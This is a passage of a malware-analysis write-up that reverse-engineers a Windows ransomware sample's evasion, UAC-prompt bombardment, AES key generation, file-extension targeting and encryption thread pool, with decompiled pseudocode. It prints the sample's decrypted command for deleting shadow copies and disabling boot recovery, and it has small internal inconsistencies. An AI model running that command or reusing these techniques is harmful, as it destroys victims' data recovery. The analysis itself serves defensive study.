  3. sub_140007CD0: This function takes the token handle, the “SeShutdownPrivilege” string, and a boolean flag (1 for True). This is a custom wrapper used to adjust the privileges of the token. Let’s look inside. Inside sub_140007CD0 (which we will rename to SetProcessPrivilege), we find the core privilege escalation logic: ```c __int64 __fastcall sub_140007CD0(int a1, __int64 a2, int a3) { __int64 result; // rax int v4; // [rsp+30h] [rbp-38h] __int64 v5; // [rsp+40h] [rbp-28h] BYREF int v6; // [rsp+48h] [rbp-20h] BYREF __int64 v7; // [rsp+4Ch] [rbp-1Ch] int v8; // [rsp+54h] [rbp-14h]

if ( !(unsigned int)sub_140005F30(0, a2, &v5) ) return 0; v6 = 1; v7 = v5; if ( a3 ) v4 = 2; else v4 = 0; v8 = v4; result = sub_140005FD0(a1, 0, (unsigned int)&v6, 16, 0, 0); if ( !(_DWORD)result ) return 0; return result; }

Applying our hashing scripts again:
- Hash `0xAE1C5437` resolves to `LookupPrivilegeValueA`. This retrieves the Locally Unique Identifier (`LUID`) for the string "SeShutdownPrivilege".
- Hash `0x55ABA392` resolves to `AdjustTokenPrivileges`. It modifies the token to enable the newly looked-up privilege.
With all the hashes resolved and the structures identified, the entire block of code is demystified. I renamed the parent function to `Enable_SeShutdownPrivilege` to reflect its true purpose.

Here is the final, fully cleaned-up decompilation:
```c
_BOOL8 __fastcall Enable_SeShutdownPrivilege(__int64 a1)
{
  _QWORD v2[3]; // [rsp+20h] [rbp-18h] BYREF

  if ( !qw_advapi32 )
    Init_advapi32_Base();
  if ( !(unsigned __int8)Call_OpenProcessToken(a1, 40, v2) )
    return 0;
  DecryptString((__int64)qw_SeShutdownPrivilege, 0x14u);
  return (unsigned int)SetProcessPrivilege(v2[0], qw_SeShutdownPrivilege, 1) != 0;
}

The intent is clear: if the malware detects it is running in an analyst’s environment (e.g., its parent is not explorer.exe), it escalates its privileges by enabling SeShutdownPrivilege. This privilege is specifically required to call APIs like ExitWindowsEx or InitiateSystemShutdown, strongly suggesting that the malware plans to forcibly reboot or shut down the victim’s machine as a defensive mechanism to interrupt the analysis process.

If we return to the parent function sub_140007E20, immediately after it successfully escalates its privileges via sub_140007DA0, it executes the following block:

if ( (_DWORD)result )
    {
      if ( !qword_14000F370 )
        sub_140002AC0();
      return sub_1400060B0(5, 0);
    }

If qword_14000F370 is empty, it calls sub_140002AC0. Diving into this function, we see an initialization pattern identical to the one used for advapi32:

__int64 sub_140002AC0()
{
  __int64 result; // rax

  DecryptString((__int64)byte_14000EF10, 0xBu);
  qword_14000F110 = Call_LoadLibraryA((__int64)byte_14000EF10);
  result = GetModuleHandleByHash(1891670547);
  qword_14000F370 = result;
  if ( !result )
  {
    result = GetModuleHandleByHash(-1046912524);
    qword_14000F370 = result;
  }
  if ( !qword_14000F370 )
  {
    result = GetModuleHandleByHash(-996578732);
    qword_14000F370 = result;
  }
  if ( !qword_14000F370 )
  {
    result = GetModuleHandleByHash(1841336755);
    qword_14000F370 = result;
  }
  return result;
}

First, it decrypts an 11-byte string at byte_14000EF10. Mimicking the decryption reveals the string user32.dll. It then dynamically loads this library using our resolved Call_LoadLibraryA.

Next, it attempts to resolve the module’s base address in memory by running through a series of fallback hashes. I took the third hash (-996578732, which converts to 0xC4996A54 in unsigned 32-bit hex) and ran it through our module.py script. The script successfully matched it to user32.dll.

Following our naming convention, the obfuscation is cleared:

  • sub_140002AC0 is renamed to Init_user32_Base.
  • qword_14000F370 is renamed to qw_user32.

With user32.dll successfully loaded and its base address securely stored in qw_user32, we finally reach the climax of this entire evasion block. Let’s look back at the final execution step inside sub_140007E20 if the parent process check fails:

return sub_1400060B0(5, 0);

Diving into sub_1400060B0, we see the final hashed API resolution routine for this sequence:

__int64 __fastcall sub_1400060B0(unsigned int a1, unsigned int a2)
{
  if ( !qword_14000F320 )
    qword_14000F320 = (__int64 (__fastcall *)(_QWORD, _QWORD))GetProcAddressByHash(qw_user32, 0x41A00503);
  return qword_14000F320(a1, a2);
}

Running the target hash 0x41A00503 through our api.py script targeting user32.dll gives us the exact match: ExitWindowsEx.

This perfectly explains the previous privilege escalation step. In Windows, a process must have SeShutdownPrivilege enabled in its access token to successfully call ExitWindowsEx.

But what about the arguments (5, 0) passed into it? According to the Microsoft documentation for ExitWindowsEx, the first argument determines the type of shutdown. The value 5 is the bitwise OR combination of two specific flags:

  • EWX_SHUTDOWN (0x00000001)
  • EWX_FORCE (0x00000004)

This means the malware is aggressively forcing a system shutdown, terminating all applications immediately without prompting the user to save any data.

Applying our naming conventions one last time (Call_ExitWindowsEx), we can confidently rename the parent evasion handler to ForceReboot:

__int64 __fastcall ForceReboot(unsigned __int8 a1)
{
  __int64 result; // rax
  int v2; // [rsp+20h] [rbp-28h]
  int v3; // [rsp+24h] [rbp-24h]
  __int64 v4; // [rsp+30h] [rbp-18h]

  result = a1;
  if ( a1 != 1 )
  {
    v4 = Call_GetCurrentProcess();
    v2 = 2;
    do
      v3 = v2--;
    while ( v3 > 0 );
    result = Enable_SeDebugPrivilege(v4);
    if ( (_DWORD)result )
    {
      if ( !qw_user32 )
        Init_User32_Base();
      return Call_ExitWindowsEx(5, 0);
    }
  }
  return result;
}

We are almost done with this anti-analysis block. Let’s look at the very last function called inside our wrapper: sub_140007C20

__int64 sub_140007C20()
{
  int v1; // [rsp+0h] [rbp-28h]
  int v2; // [rsp+4h] [rbp-24h]
  unsigned int v3; // [rsp+8h] [rbp-20h]
  int i; // [rsp+Ch] [rbp-1Ch]

  v2 = 102;
  v1 = 209;
  v3 = 307;
  for ( i = 0; i < 2; ++i )
  {
    v2 = v3 * (v1 + v2) - v1 / 3;
    v1 = v1 - v3 + 2 * v2;
    v3 = (v2 ^ v3) - (v1 + 1);
  }
  return v3;
}

Just like sub_140007B60 from earlier, this is pure arithmetic obfuscation. It performs a few loops of multiplication, division, and bitwise XOR operations, but it does not interact with the system or modify any external state. It is simply junk code meant to confuse heuristic engines and analysts. I renamed it to JunkFunc4.

Now, we can finally take a step back and look at the parent wrapper function (sub_140008010) in all its glory. What once looked like a random assortment of variables and subroutines is now a completely readable and logical piece of C code.

I renamed this wrapper to ProcessChecker:

__int64 ProcessChecker()
{
  unsigned __int8 v1; // [rsp+20h] [rbp-18h]
  _DWORD v2[5]; // [rsp+24h] [rbp-14h] BYREF

  v2[0] = 0;
  v1 = Check_Parent_Is_Explorer();
  JunkFunc3(v2);
  ForceReboot(v1);
  return JunkFunc4(v2);
}

With this wrapper fully reversed, the malware’s initial defense mechanisms are completely laid bare. We’ve mapped out its dynamic API resolution, identified its environment checks, and exposed its aggressive system-reboot response to being analyzed.

With the evasion layer fully dismantled, let’s take a look at the updated main function to see where the execution flows next: The malware immediately calls sub_140002FE0(). Let’s peek inside:

Privilege Escalation (UAC Bypass)

__int64 sub_140002FE0()
{
  if ( !qword_14000EAD0 )
    sub_140002B70();
  return sub_140002E20();
}

It checks if a global variable (qword_14000EAD0) is initialized. If not, it executes sub_140002B70(). Diving into this function, we are greeted with a very familiar sight:

__int64 sub_140002B70()
{
  __int64 result; // rax

  DecryptString((__int64)byte_14000EF48, 0xCu);
  qword_14000EAD0 = Call_LoadLibraryA((__int64)byte_14000EF48);
  
  // ... [Multiple GetModuleHandleByHash calls] ...
  
  if ( !qword_14000F390 )
  {
    result = GetModuleHandleByHash(0x5A706EC3);
    qword_14000F390 = result;
  }
  return result;
}

We have seen this exact pattern twice already with advapi32.dll and user32.dll.

First, it decrypts a 12-byte string at byte_14000EF48. Replicating the decryption routine reveals the string shell32.dll. The malware then dynamically loads it into memory using Call_LoadLibraryA.

Next, it attempts to resolve the base address in memory using our GetModuleHandleByHash function. Running one of the fallback hashes (0x5A706EC3) through our module.py script confirms that it perfectly matches shell32.dll.

Applying our established naming convention, the obfuscation is cleared instantly:

  • sub_140002B70 becomes Init_shell32_Base.
  • qword_14000F390 becomes qw_shell32.

Returning to sub_140002FE0, the very next function executed is sub_140002E20. Let’s look at the core logic of sub_140002E20 :

__int64 sub_140002E20()
{
  // ... [Variable declarations]
  
  if ( !qword_14000EAC8 )
    Init_advapi32_Base();
  if ( !qword_14000F110 )
    Init_user32_Base();
    
  v3 = Call_GetCurrentProcess();
  result = (unsigned __int8)sub_140002D40(v3);
  
  if ( (_BYTE)result )
  {
      // ... [Elevation logic]

First, it makes sure advapi32.dll and user32.dll are loaded. Then, it grabs its own process handle and passes it into sub_140002D40.

Diving into sub_140002D40, we run our api.py script on the target hash 0x7AE65B77 inside advapi32.dll. It resolves to GetTokenInformation. The malware queries its own access token with the information class 25 (TokenElevation). It returns 1 (True) if the process is not running with Administrator privileges. I renamed this function to Is_Not_Admin.

If the malware discovers it is not an Admin (result == 1), it enters the elevation block: By resolving the hashes in this block, the entire strategy is exposed:

  1. GetModuleFileNameA: It grabs its own executable path (v2).
  2. “runas”: It decrypts the string “runas”, which is the Windows command to run a file as an Administrator.
  3. SHELLEXECUTEINFOA: It allocates 112 bytes (v1), which is the exact size of the SHELLEXECUTEINFOA structure on 64-bit Windows. It manually populates the struct, setting the verb to “runas” and the file to its own path.
  4. GetForegroundWindow: It gets the handle to the user’s active window to force the UAC prompt to the front of the screen.
  5. The while loop: It calls ShellExecuteExA inside a while loop. Placing Call_ShellExecuteExA inside a while loop creates a classic UAC Fatigue attack. If the user denies the UAC prompt by clicking “No”, the function returns false, and the loop immediately spawns another prompt. It will continuously bombard the user with requests until they finally click “Yes” and grant Administrator privileges.

Once the user approves it, a new elevated instance of the malware starts running. The current, non-admin instance then breaks out of the loop, frees the allocated memory, and terminates itself via ExitProcess(0).

Putting it all together, we can rename the parent function to Ensure_Admin_Elevation. Here is the final, cleaned-up decompilation::

Function Breakdown: Ensure_Admin_Elevation

__int64 Ensure_Admin_Elevation()
{
  __int64 result; // rax
  __int64 v1; // [rsp+20h] [rbp-28h]
  HCRYPTHASH *lpFilename; // [rsp+28h] [rbp-20h]
  __int64 v3; // [rsp+30h] [rbp-18h]

  if ( !qword_14000EAC8 )
    Init_advapi32_Base();
  if ( !qword_14000F110 )
    Init_user32_Base();
  v3 = Call_GetCurrentProcess();
  result = Is_Not_Admin(v3);
  if ( (_BYTE)result )
  {
    lpFilename = (HCRYPTHASH *)Heap_Alloc_private(260);
    Call_GetModuleFileNameA(0, lpFilename, 0x104u);
    v1 = Heap_Alloc_private(112);
    *(_DWORD *)v1 = 112;
    *(_DWORD *)(v1 + 4) = 0;
    DecryptString((__int64)byte_14000EE0C, 6u);
    *(_QWORD *)(v1 + 16) = byte_14000EE0C;
    *(_QWORD *)(v1 + 24) = lpFilename;
    *(_DWORD *)(v1 + 48) = 0;
    *(_QWORD *)(v1 + 8) = Call_GetForegroundWindow();
    while ( !(unsigned __int8)Call_ShellExecuteExA(v1) )
      ;
    Free(v1);
    Free(lpFilename);
    return Call_ExitProcess(0);
  }
  return result;
}

With this core logic fully mapped out, we can return to the initial wrapper function (sub_140002FE0) that triggered this entire sequence. Since its only job is to ensure shell32.dll is loaded before calling our elevation routine, I renamed it to ElevationWrapper:

__int64 ElevationWrapper()
{
  if ( !qword_14000EAD0 )
    Init_Shell32_Base();
  return Ensure_Admin_Elevation();
}

If we step all the way back out to our main entry point, the execution flow is starting to look incredibly clean and readable: Moving on to the next function in main, sub_140003430(), we see a familiar pattern.

System Sabotage

__int64 sub_140003430()
{
  __int64 v1; // [rsp+20h] [rbp-18h]

  DecryptString((__int64)byte_14000F0B0, 8u);
  DecryptString((__int64)byte_14000EE50, 0x92u);
  DecryptString((__int64)byte_14000F0A8, 5u);
  v1 = Heap_Alloc_private(112);
  *(_DWORD *)v1 = 112;
  *(_DWORD *)(v1 + 4) = 0;
  *(_QWORD *)(v1 + 16) = byte_14000F0A8;
  *(_QWORD *)(v1 + 24) = byte_14000F0B0;
  *(_DWORD *)(v1 + 48) = 0;
  *(_QWORD *)(v1 + 8) = Call_GetForegroundWindow();
  *(_QWORD *)(v1 + 32) = byte_14000EE50;
  Call_ShellExecuteExA(v1);
  Free(v1);
  return sub_1400037B0(byte_14000EE50, 146);
}

The malware sets up another 112-byte SHELLEXECUTEINFOA structure to execute a command, but this time it doesn’t need to ask for Admin rights it already has them.

The intent of this function is completely exposed by its three DecryptString calls. Running our decryption script against those addresses reveals the payload:

  1. unk_14000F0B0 decrypts to: cmd.exe
  2. unk_14000EE50 decrypts to the arguments: /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
  3. unk_14000F0A8 decrypts to the verb: open This is standard, textbook ransomware behavior. It uses the elevated cmd.exe to quietly delete all Volume Shadow Copies (vssadmin) to prevent the victim from restoring their encrypted files. Then, it modifies the boot configuration (bcdedit) to disable system recovery and ignore boot failures, making it significantly harder to repair the infected operating system.

After executing the command via Call_ShellExecuteExA, it frees the allocated memory and immediately calls a wrapper for RtlZeroMemory (sub_1400037B0). This zeroes out the memory where the decrypted command string was stored a simple anti-forensics trick to wipe its tracks from RAM.

Here is the fully decompiled and renamed function:

Function Breakdown: Disable_System_Recovery

__int64 Disable_System_Recovery()
{
  __int64 v1; // [rsp+20h] [rbp-18h]

  DecryptString((__int64)&unk_14000F0B0, 8u);   // cmd.exe
  DecryptString((__int64)&unk_14000EE50, 0x92u);// /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
  DecryptString((__int64)&unk_14000F0A8, 5u);   // open
  v1 = Heap_Alloc_Private(0x70u);
  *(_DWORD *)v1 = 112;
  *(_DWORD *)(v1 + 4) = 0;
  *(_QWORD *)(v1 + 16) = &unk_14000F0A8;
  *(_QWORD *)(v1 + 24) = &unk_14000F0B0;
  *(_DWORD *)(v1 + 48) = 0;
  *(_QWORD *)(v1 + 8) = Call_GetForegroundWindow();
  *(_QWORD *)(v1 + 32) = &unk_14000EE50;
  Call_ShellExecuteExA(v1);
  Free(v1);
  return Call_RtlZeroMemory_Wrapper(&unk_14000EE50, 146);
}

Returning to main, the next function called is sub_140002D10().

The Core Ransomware Engine (AES)

__int64 sub_140002D10()
{
  DecryptString((__int64)&unk_14000E0C0, 0x100u);
  return DecryptString((__int64)&unk_14000E1C0, 0x100u);
}

It simply calls our familiar DecryptString routine twice, both times operating on 256-byte (0x100) chunks of data. To understand what these 256-byte chunks are, we have to look at where they are cross-referenced later in the binary.

Following the xrefs for unk_14000E0C0, we land in sub_140001190:

__int64 __fastcall sub_140001190(__int64 a1, __int64 a2)
{
  // ... [Variables] ...
  
  for ( i = 0; i < 8; ++i ) // Copies initial 32-byte key
  {
    *(_BYTE *)(a1 + 4 * i) = *(_BYTE *)(a2 + 4 * i);
    // ...
  }
  for ( j = 8; j < 0x3C; ++j ) // Expands to 60 words
  {
    // ...
    if ( !(j % 8) )
    {
      v4 = byte_14000E0C0[v5]; // S-Box Substitution
      // ...
      v3 = byte_14000B420[j / 8] ^ v4; // Rcon XOR
    }
    if ( j % 8 == 4 ) // AES-256 specific step
    {
      v3 = byte_14000E0C0[v3];
      // ...
    }
    // ... [XORs with previous words to build the schedule]
  }
  return result;
}

This structural pattern clearly identifies the algorithm. The loop copying exactly 8 words (32 bytes / 256 bits), expanding to exactly 60 words (0x3C), and the specific j % 8 == 4 conditional check are standard characteristics of the AES-256 Key Expansion algorithm.

The malware author went out of their way to hide their cryptographic routines. Instead of hardcoding the standard AES constants, they encrypted them.

  • unk_14000E0C0 serves as the substitution table, meaning it decrypts into the standard AES S-Box.
  • unk_14000E1C0 decrypts into the AES Inverse S-Box, which will be used for decryption.
  • byte_14000B420 acts as the Rcon (Round Constant) array. We can confidently rename sub_140002D10 to Init_AES_Constants and sub_140001190 to AES256_KeyExpansion.

    Function Breakdown: Init_AES_Constants

    __int64 Init_AES_Constants()
    {
    DecryptString((__int64)&AES_SBOX, 0x100u);
    return DecryptString((__int64)&AES_INV_SBOX, 0x100u);
    }
    

    With the cryptographic constants initialized, the execution returns to main and proceeds to sub_140008D40(). This function appears to be the main setup routine before the actual file encryption begins.

__int64 sub_140008D40()
{
  int v0; // eax
  unsigned int v1; // eax
  __int64 v2; // r8
  __int64 v4; // [rsp+20h] [rbp-248h]
  __int64 v5; // [rsp+28h] [rbp-240h]
  __int64 v6; // [rsp+30h] [rbp-238h]
  _BYTE v7[520]; // [rsp+40h] [rbp-228h] BYREF

  if ( !qword_14000F3A0 )
    sub_140002F30();
  
  sub_140006560();
  qword_14000F330 = sub_140008770();
  sub_140006490();
  sub_140008800();
  qword_14000F360 = sub_140008CB0();
  memset(v7, 0, sizeof(v7));
  v6 = sub_140002010();
  DecryptString((__int64)&unk_14000E2D0, 9u);
  v4 = ConcatString(v6, &unk_14000E2D0);
  v0 = sub_1400038A0(v4);
  v5 = Heap_Alloc_private((unsigned int)(2 * v0 + 2));
  v1 = sub_1400038A0(v4);
  sub_140003A30(v4, v5, v1);
  Free(v4);
  sub_140008960(v5);
  byte_14000E2C8 = 0;
  LOBYTE(v2) = 1;
  sub_140005590((unsigned int)dword_14000E400, qword_14000F360, v2, 0xFFFFFFFFLL);
  qword_14000EAC0 = sub_140008850();
  Free(qword_14000F360);
  sub_1400037B0(qword_14000F328, 32);
  Free(qword_14000F328);
  Free(v5);
  return sub_140008830();
}

The very first action it takes is checking an uninitialized global variable. If it’s empty, it calls sub_140002F30().

Looking inside sub_140002F30, we immediately recognize the dynamic module loading pattern the malware has used throughout its execution:

__int64 sub_140002F30()
{
  __int64 result; // rax

  DecryptString((__int64)byte_14000F108, 8u);
  qword_14000EFB0 = Call_LoadLibraryA((__int64)byte_14000F108);
  result = GetModuleHandleByHash(-935850646);
  qword_14000F3A0 = result;
  if ( !result )
  {
    result = GetModuleHandleByHash(-1126777237);
    qword_14000F3A0 = result;
  }
  if ( !qword_14000F3A0 )
  {
    result = GetModuleHandleByHash(-1076443445);
    qword_14000F3A0 = result;
  }
  if ( !qword_14000F3A0 )
  {
    result = GetModuleHandleByHash(-986184438);
    qword_14000F3A0 = result;
  }
  return result;
}

The malware decrypts an 8-byte string, which reveals “shlwapi”. It passes this to LoadLibraryA and then searches for its base address using our GetModuleHandleByHash function. Running the hash 0xBFD6C6CB through our Python script confirms it perfectly matches shlwapi.dll.

I updated the variable names to Init_Shlwapi_Base and qw_shlwapi. The shlwapi.dll library is commonly loaded by malware to handle string operations, file path manipulation, and registry queries efficiently.

With the cryptographic constants initialized and the required libraries loaded, the malware moves to the next setup step inside sub_140008D40: calling sub_140006560().

__int64 sub_140006560()
{
  __int64 result; // rax
  result = sub_1400064F0(32);
  qword_14000F328 = result;
  return result;
}

This function simply calls sub_1400064F0 with an argument of 32 and stores the result in a global variable. A length of 32 bytes (256 bits) aligns perfectly with the AES-256 algorithm we identified earlier.

Diving into sub_1400064F0, we find the routine responsible for generating this 32-byte buffer:

__int64 __fastcall sub_1400064F0(unsigned int a1)
{
  __int64 v2; // [rsp+30h] [rbp-18h]
  __int64 v3; // [rsp+38h] [rbp-10h] BYREF

  if ( !a1 )
    return 0;
  if ( !qw_advapi32 )
    Init_advapi32_Base();
    
  v2 = Heap_Alloc_private(a1);
  sub_1400046F0((unsigned int)&v3, 0, 0, 1, -268435456);
  sub_140004650(v3, a1, v2);
  
  return v2;
}

This function allocates memory for the requested size and then calls two API resolution wrappers targeting advapi32.dll. Running our api.py script against the underlying hashes reveals their purpose:

  • Hash 0x81DF1519 resolves to CryptAcquireContextA. The constant -268435456 corresponds to 0xF0000000 (CRYPT_VERIFYCONTEXT), and the 1 corresponds to PROV_RSA_FULL. This initializes the Windows cryptographic service provider.
  • Hash 0x2163E0A6 resolves to CryptGenRandom. This fills the allocated buffer with cryptographically secure pseudo-random bytes.

The malware is dynamically generating a secure, random 256-bit AES key for the current infection session. Applying these resolved names, we get a completely clear picture of the key generation process:

__int64 __fastcall Generate_Random_Bytes(unsigned int a1)
{
  __int64 v2; // [rsp+30h] [rbp-18h]
  __int64 v3; // [rsp+38h] [rbp-10h] BYREF

  if ( !a1 )
    return 0;
  if ( !qword_14000EAC8 )
    Init_advapi32_Base();
  v2 = Heap_Alloc_private(a1);
  Call_CryptAcquireContextA((unsigned int)&v3, 0, 0, 1, -268435456);
  CryptGenRandom(v3, a1, v2);
  return v2;
}

With this core logic exposed, the purpose of its parent function (sub_140006560) becomes immediately obvious without needing to analyze much further. It simply calls this random byte generator with a requested size of 0x20 (32 bytes) and saves the pointer to a global variable.

To clean up the decompilation, I renamed sub_140006560 to GenerateRandomBytesWrapper, and the global variable qword_14000F328 (which now holds our dynamically generated AES key) to qw_AES_Key.

Continuing through the setup routine in sub_140008D40, the malware executes qword_14000F330 = sub_140008770();. Let’s examine the inner workings of this function:

__int64 sub_140008770()
{
  unsigned int v0; // eax
  unsigned int v2; // [rsp+20h] [rbp-28h]
  _BYTE *v3; // [rsp+28h] [rbp-20h]
  __int64 v4; // [rsp+30h] [rbp-18h]

  v2 = 0;
  v4 = Heap_Alloc_private(280);
  while ( v2 < 0x24 )
  {
    v3 = (_BYTE *)Heap_Alloc_private(6);
    Memcpy(v3, *(&off_14000E2E0 + v2), 5);
    v0 = sub_1400038A0(v3);
    DecryptString((__int64)v3, v0);
    *(_QWORD *)(v4 + 8LL * v2++) = v3;
  }
  return v4;
}

The logic is straightforward. It creates an array and loops 36 (0x24) times. In each iteration, it reads an encrypted string from an array of pointers starting at off_14000E2E0, copies it, gets its length, and passes it to our familiar DecryptString routine. The decrypted string is then added to a dynamically allocated list.

Instead of dynamically debugging to catch every single string in memory, we can extract the raw bytes referenced by the pointers in IDA and pass them through a Python implementation of the malware’s custom XOR decryption algorithm.

Here is the script to decrypt the entire block of extensions statically:

def decrypt(data, key):
    out = []
    for i in range(len(data)):
        val = (data[i] - i) & 0xFF
        val ^= key[i % len(key)]
        out.append(val)
    return bytes(out)

key = b"Love_Her"

blocks = [
    (0x14000BA9C, [0x3C,0x0C,0x12,0x68,0,0,0,0]),
    (0x14000BAA4, [0x28,1,0x17,0x68,0,0,0,0]),
    (0x14000BAAC, [0x28,1,0x17,0x0B,0x63,0,0,0]),
    (0x14000BAB4, [0x28,1,0x17,0x20,0x63,0,0,0]),
    (0x14000BABC, [0x24,0x1C,0x1D,0x68,0,0,0,0]),
    (0x14000BAC4, [0x24,0x1C,0x1D,0x0C,0x63,0,0,0]),
    (0x14000BACC, [0x38,0x18,0x04,0x68,0,0,0,0]),
    (0x14000BAD4, [0x3E,0x1C,0x12,0x68,0,0,0,0]),
    (0x14000BADC, [0x34,3,0x1C,0x68,0,0,0,0]),
    (0x14000BAE4, [0x2F,0x1D,2,0x68,0,0,0,0]),
    (0x14000BAEC, [0x23,0x0C,7,0x68,0,0,0,0]),
    (0x14000BAF4, [0x34,4,7,0x68,0,0,0,0]),
    (0x14000BAFC, [0x34,4,7,0x0B,0x63,0,0,0]),
    (0x14000BB04, [0x34,4,7,0x20,0x63,0,0,0]),
    (0x14000BB0C, [0x34,4,4,0x0B,0x63,0,0,0]),
    (0x14000BB14, [0x34,4,4,0x20,0x63,0,0,0]),
    (0x14000BB1C, [0x2E,3,8,0x68,0,0,0,0]),
    (0x14000BB24, [0x26,0x20,0x13,0x68,0,0,0,0]),
    (0x14000BB3C, [0x23,0x0C,8,0x68,0,0,0,0]),
    (0x14000BB44, [0x3C,1,4,0x68,0,0,0,0]),
    (0x14000BB4C, [0x3C,1,4,0x0B,0x63,0,0,0]),
    (0x14000BB54, [0x3C,1,4,0x20,0x63,0,0,0]),
    (0x14000BB5C, [0x3C,0x20,4,0x68,0,0,0,0]),
    (0x14000BB64, [0x3C,0x20,4,0x0B,0x63,0,0,0]),
    (0x14000BB6C, [0x3C,0x20,4,0x20,0x63,0,0,0]),
    (0x14000BB7C, [0x7B,0x16,0x78,0]),
    (0x14000BB80, [0x38,0x0F,6,0x68,0,0,0,0]),
    (0x14000BB88, [0x26,0x20,0x15,5,0x63,0,0,0]),
    (0x14000BB90, [0x3E,0x0F,6,0x68,0,0,0,0]),
    (0x14000BB98, [0x38,3,8,0x68,0,0,0,0]),
    (0x14000BBA0, [0x3B,0x20,0x14,0x68,0,0,0,0]),
    (0x14000BBB0, [0x3C,2,0x13,0x68,0,0,0,0]),
]

for offset, data in blocks:
    dec = decrypt(data, key)

    try:
        text = dec.decode()
    except:
        text = str(dec)

    print(f"{hex(offset)} -> {text}")

alt text Running the script reveals the malware’s target profile. It is a highly specific hitlist of 36 file extensions, deliberately targeting the user’s most valuable personal and business data:

  • Documents & Text: pdf, doc, docm, docx, rtf, txt, wpd, htm, html, xml
  • Spreadsheets: csv, ods, xls, xlsm, xlsx, xltm, xltx
  • Presentations: odp, pot, potm, potx, ppt, pptm, pptx
  • Images: bmp, jpg, jpeg, png
  • Archives & Backups: 7z, rar, tar, tmp

Immediately after building the target extension list, the malware calls sub_140006490(). This function is incredibly short:

__int64 sub_140006490()
{
  return DecryptString((__int64)byte_14000EF20, 0xCu);
}

It decrypts a 12-byte string located at byte_14000EF20. Passing the raw bytes through our Python XOR decryptor yields the following result: .\x00n\x00a\x00s\x00o\x00

The presence of null bytes between each character indicates that this is a wide-character (Unicode/UTF-16LE) string. The decrypted text is .naso.

This is the ransomware’s signature. Once a file is encrypted, the malware will append this extension to the original filename

We can now rename this function to Init_CustomFileExt and the data buffer byte_14000EF20 to enc_ext.

Moving forward in the sub_140008D40 setup routine, the malware calls sub_140008800(). Let’s look at the initial decompiled code:

__int64 sub_140008800()
{
  sub_1400051F0(&unk_14000F338);
  return sub_140005270(&unk_14000F368);
}

This function passes two global uninitialized memory addresses into two separate wrappers. Let’s inspect the first wrapper, sub_1400051F0:

__int64 __fastcall sub_1400051F0(__int64 a1)
{
  if ( !qword_14000F2B0 )
    qword_14000F2B0 = (__int64 (__fastcall *)(_QWORD))GetProcAddressByHash(qword_14000F3A8, 0xD5C317D1);
  return qword_14000F2B0(a1);
}

Before resolving the API, I needed to identify the module loaded at qword_14000F3A8. Running its original hash (0xBD8685DE) through our module.py script matched it to ntdll.dll. With the module identified, I ran api.py against ntdll.dll using the target API hash 0xD5C317D1. It resolved to RtlInitializeCriticalSection.

The second wrapper (sub_140005270) follows the exact same pattern. By running its target API hash 0x43E67279 against the newly discovered ntdll.dll, it yielded a perfect match for RtlInitializeConditionVariable.

This perfectly explains the malware’s architecture. Modern ransomware relies heavily on multithreading to encrypt files as fast as possible before the user notices. However, multithreading requires careful synchronization to prevent race conditions when multiple threads try to access the same resources (like a shared queue of target files).

  • Critical Sections ensure that only one thread can access a specific block of code or resource at a time.
  • Condition Variables allow threads to sleep and wait until a certain condition is met (e.g., waiting for the main thread to populate the queue with files to encrypt). With the logic fully understood, we can clean up our decompilation by applying the following renames:
  • sub_140008800 -> Init_Thread_Synchronization
  • qword_14000F3A8 -> qw_ntdll
  • sub_1400051F0 -> Call_RtlInitializeCriticalSection
  • sub_140005270 -> Call_RtlInitializeConditionVariable

Returning to the final initialization step in sub_140008D40, the malware calls qword_14000F360 = sub_140008CB0(). This function sets up the core encryption engine: the worker thread pool.

Let’s break down the components of sub_140008CB0 piece by piece. First, it calls sub_140008940():

__int64 sub_140008940()
{
  _BYTE v1[32]; // [rsp+20h] [rbp-38h] BYREF
  unsigned int v2; // [rsp+40h] [rbp-18h]

  Call_GetSystemInfo(v1); // Previously sub_140005EB0
  dword_14000E400 = v2;
  return v2;
}

This function calls a wrapper for the GetSystemInfo (or GetNativeSystemInfo) API, passing a 32-byte SYSTEM_INFO structure. It extracts a specific value (v2, located at an offset aligning perfectly with dwNumberOfProcessors) and stores it in the global variable dword_14000E400. The malware is dynamically identifying how many CPU cores the infected machine has. I renamed this variable to dw_CPU_Cores.

Next, we identified sub_1400042B0. Running its target API hash 0x36059625 against kernel32.dll perfectly resolved to CreateThread.

Armed with this knowledge, the actual thread pool initialization function (sub_140008CB0) makes perfect sense:

__int64 sub_140008CB0()
{
  unsigned int i; // [rsp+30h] [rbp-18h]
  __int64 v2; // [rsp+38h] [rbp-10h]

  sub_140008940();
  v2 = Heap_Alloc_private((unsigned int)(16 * dw_CPU_Cores));
  for ( i = 0; i < 2 * dw_CPU_Cores; ++i )
    *(_QWORD *)(v2 + 8LL * (int)i) = sub_1400042B0(0, 0, (unsigned int)sub_140008BB0, 0, 0, 0);
  return v2;
}

The allocation logic here is highly optimized. By calculating exactly 16 * N bytes for the allocation, it creates enough space for 2 * N 64-bit pointers. The loop then fires up two encryption threads for every single CPU core the victim has. If a server has 16 cores, the malware spins up 32 concurrent threads to maximize encryption speed.

Finally, we can look at the inner loop of the FileProcessingWorkerThread mapped out earlier:

__int64 sub_140008BB0()
{
  __int64 result; // rax
  __int64 v1; // [rsp+38h] [rbp-20uyh]

  while ( 1 )
  {
    sub_1400052F0(&unk_14000F338);
    while ( !unk_14000F3C8 && byte_14000E2C8 )
      sub_140005370(&unk_14000F368, &unk_14000F338, 0xFFFFFFFFLL);
    if ( !unk_14000F3C8 && !byte_14000E2C8 )
      break;
    v1 = *(_QWORD *)(*unk_14000F3C0 + 16LL);
    sub_140008FF0(&unk_14000F3C0, *unk_14000F3C0);
    sub_140005490(&unk_14000F338);
    sub_140008B80(v1);
    result = unk_14000F3C8;
    if ( !unk_14000F3C8 )
      return result;
  }
  sub_140005490(&unk_14000F338);
  return sub_140005410(&unk_14000F368);
}

We can clearly see how the synchronization primitives are used. byte_14000E2C8 acts as an Is_Scanning_Active flag (initialized to 1). While the main thread is still crawling the hard drive for files, the worker threads will SleepConditionVariableCS if they run out of work. Once the main thread finishes crawling, it sets Is_Scanning_Active = 0. The worker threads will finish whatever is left in the queue, hit the break condition, and elegantly terminate.

With the thread pool logic mapped, we can apply the following renames to clean up the code:

  • sub_140008940 -> Get_CPU_Core_Count
  • dword_14000E400 -> dw_CPU_Cores
